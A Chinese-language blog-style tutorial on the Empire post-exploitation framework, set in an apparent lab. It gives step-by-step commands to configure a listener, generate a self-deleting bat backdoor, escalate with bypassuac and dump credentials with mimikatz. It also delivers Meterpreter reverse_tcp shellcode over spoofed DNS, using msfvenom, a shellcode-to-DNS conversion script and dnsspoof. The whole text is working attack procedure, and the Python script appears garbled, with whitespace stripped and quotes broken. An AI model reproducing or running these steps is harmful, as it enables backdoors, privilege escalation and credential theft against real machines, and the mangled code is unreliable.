前言:
Empire一款基于PowerShell的后滲透測試工具。感謝某葵和某Egg的推薦和指點(diǎn)。感謝某騙子給我解惑DNS的一些東西。
安裝:
- github項(xiàng)目地址:https://github.com/EmpireProject/Empire
- 下載:git clone https://github.com/EmpireProject/Empire.git
- Empiresetup目錄執(zhí)行install.sh文件./install.sh
開始下載安裝運(yùn)行依賴文件
最后設(shè)置數(shù)據(jù)庫密碼那里可以默認(rèn)回車,也可以自己設(shè)置
踩坑經(jīng)歷:
如果安裝途中,遇到網(wǎng)絡(luò)問題,多次執(zhí)行./install.sh文件安裝全部依賴,運(yùn)行主目錄下empire啟動程序前,先執(zhí)行setup目錄下的reset.sh后再執(zhí)行主目錄empire文件。
- 使用(Empire)> listeners # 監(jiān)聽
- 監(jiān)聽
(Empire: listeners) > uselistener http #選擇監(jiān)聽方式
(Empire: listeners/http) > info #查看需要配置的選項(xiàng)
(Empire: listeners/http) > set Name backdoor #設(shè)置監(jiān)聽名字
養(yǎng)成良好的習(xí)慣設(shè)置自己容易理解的名字,方便管理shell
(Empire: listeners/http) > set Host http://192.168.80.131:4447 #設(shè)置木馬反彈回連地址
(Empire: listeners/http) > set Port 4447 #設(shè)置本地監(jiān)聽端口
(Empire: listeners/http) > execute #執(zhí)行監(jiān)聽
至此,監(jiān)聽工作完成。我們開始配置生成后門。
- 生成木馬(Empire: listeners/http) > back #返回上層模塊(Empire: listeners) > usestager windows/launcher_bat backdoor # 選擇木馬種類
這里我選擇的是bat類型的腳本,當(dāng)然你們可以選擇其他的。后面的backdoor就是剛剛我們設(shè)置的監(jiān)聽,這個模塊就是依據(jù)監(jiān)聽的配置信息,生成相應(yīng)的木馬,讓反彈馬找到連接主機(jī)。
(Empire: stager/windows/launcher_bat) > info #查看需要配置的
你可以set OutFile 到你指定的目錄(絕對路徑)
(Empire: stager/windows/launcher_bat) > execute #執(zhí)行生成木馬
我們把tmp目錄下的文件拷貝到我們的目標(biāo)主機(jī)上運(yùn)行
彈出一個黑框后,它自動消失了,是因?yàn)槲覀儎偛派蒪ackdoor的時候其中一個選項(xiàng)delete設(shè)置的True,運(yùn)行結(jié)束后刪除自身。
點(diǎn)擊完我們的backdoor之后,我們回到我們的機(jī)器可以看到已經(jīng)獲取到了客戶端的一個會話。
(Empire: stager/windows/launcher_bat) > agents #查看獲取的代理會話
一個會話已經(jīng)建立完成。
(Empire: agents) > rename HZFT7AX1 win7pro #更改會話名字
養(yǎng)成一個良好的習(xí)慣。
(Empire: agents) > interact win7pro #和該會話交互
從session_key這里可以看出我們的會話是經(jīng)過加密的。
同時該框架還提供了bypassuac,mimikaz等模塊,為滲透提供高效,快速的提升權(quán)限,信息獲取。
正好結(jié)合這個說一個dns傳輸backdoor payload的方式
- NativePayload_DNS項(xiàng)目地址:https://github.com/DamonMohammadbagher/NativePayload_DNS.git首先編譯源碼生成可執(zhí)行文件使用visual studio 工具命令編譯!
生成NativePayload_DNS.exe 。
上傳到我們攻擊的機(jī)器上去,進(jìn)入到交互界面。
首先我們先試試?yán)胋ypassuac這個功能,看看是否可以提升權(quán)限獲取該機(jī)器管理員的密碼,直接運(yùn)行mimikatz是會報錯的。
運(yùn)行后我們看到有第二個會話開始建立中,稍等片刻
(Empire: win7pro) > agents #列舉代理會話
細(xì)心的人可能發(fā)現(xiàn)多了一個*號那個usename那里
(Empire: agents) > rename 8TKB4G9S win7proprivilege #這里我說了三遍,很重要。
(Empire: agents) > interact win7proprivilege #和這個會話交互
(Empire: win7proprivilege) > mimikatz #使用mimikatz
(Empire: win7proprivilege) > upload /root/Desktop/NativePayload_DNS.exe #上傳
(Empire: win7proprivilege) > shell dir #查看是否上傳成功.
開始配置服務(wù)端
msfvenom--platformwindows--archx64-pwindows/x64/meterpreter/reverse_tcplhost=192.168.80.131lport=4444-fc>/root/Desktop/payload.txt
#生成shellcode
這里申明下,網(wǎng)上的命令可能因?yàn)槲恼赂袷絾栴},導(dǎo)致命令不對,這里我做了修正。寫了一個轉(zhuǎn)換腳本,代碼如下(一把梭,勿噴):
#!/usr/bin/Python2#!-*-coding:utf-8-*-a=''f=open("payload.txt","rb")line=f.readlines()[1:]f.close()forlinesinrange(len(line)):ipls='1.1.1.%s'%linesshellcode=line[lines].replace(";","").strip().rstrip(""")+".1.com"+"""text=ipls+""+"""+"0x"+shellcode.lstrip(""")a+=text.replace("","0")+"n"fn=open("dns.txt","wb")fn.write(a)fn.close()
這里網(wǎng)上給出的樣例也有問題,看了好久發(fā)現(xiàn)傳輸?shù)膒ayload缺少了一個"0x",于是在dns.txt做了修改。一直被老哥教育細(xì)心,耐心,這回總算用成了一回。
開啟msf監(jiān)聽,這里就不再贅述了。
開啟欺騙
root@localhost# dnsspoof -f dns.txt
服務(wù)端配置完成,現(xiàn)在回到我們的empire會話執(zhí)行命令,獲取meterpreter shell.
(Empire: win7proprivilege) > shell NativePayload_DNS.exe 1.1.1. 34 192.168.80.131 #執(zhí)行
這個比較慢,需要稍等會,等它傳輸完,就會返回shell。
一張圖證明empire繞過了UAC: